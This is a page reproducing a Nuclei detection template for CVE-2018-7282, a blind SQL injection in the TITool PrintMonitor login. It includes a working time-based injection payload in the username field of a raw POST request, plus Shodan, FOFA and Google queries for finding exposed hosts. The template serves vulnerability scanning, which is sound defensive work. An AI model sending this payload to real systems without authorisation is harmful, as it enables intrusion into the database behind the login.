TITool PrintMonitor - Blind SQL Injection

ID: CVE-2018-7282

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve2018,cve,sqli,printmonitor,unauth,titool

Description

The username parameter of the TITool PrintMonitor solution during the login request is vulnerable to and/or time-based blind SQLi.

YAML Source

id: CVE-2018-7282

info:
  name: TITool PrintMonitor - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The username parameter of the TITool PrintMonitor solution during the login request is vulnerable to and/or time-based blind SQLi.
  remediation: Upgrade to PM18.2.1.
  reference:
    - https://fenceposterror.github.io/cve-2018-7282.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7282
    - http://print.com
    - http://ti-tool.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-7282
    cwe-id: CWE-89
    epss-score: 0.1391
    epss-percentile: 0.95658
    cpe: cpe:2.3:a:titool:printmonitor:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: titool
    product: printmonitor
    shodan-query:
      - title:"PrintMonitor"
      - http.title:"printmonitor"
    fofa-query: title="printmonitor"
    google-query: intitle:"printmonitor"
    product": printmonitor
  tags: time-based-sqli,cve2018,cve,sqli,printmonitor,unauth,titool
variables:
  username: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"

http:
  - raw:
      - |
        @timeout: 20s
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}')+OR+4191=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(50000000/2))))--+vDwl&password={{password}}&language=en

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "PrintMonitor") && contains(header, "text/html")'
        condition: and
# digest: 490a0046304402204fd9b3d981be8cb1b7ccfc856c2bfefdaa17320107a54bce213ef1b8195c471102201e7ea713ef61546175a961da6ba58608a51058e5a355046c7b266a58f64a1f67:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-7282.yaml"

View on Github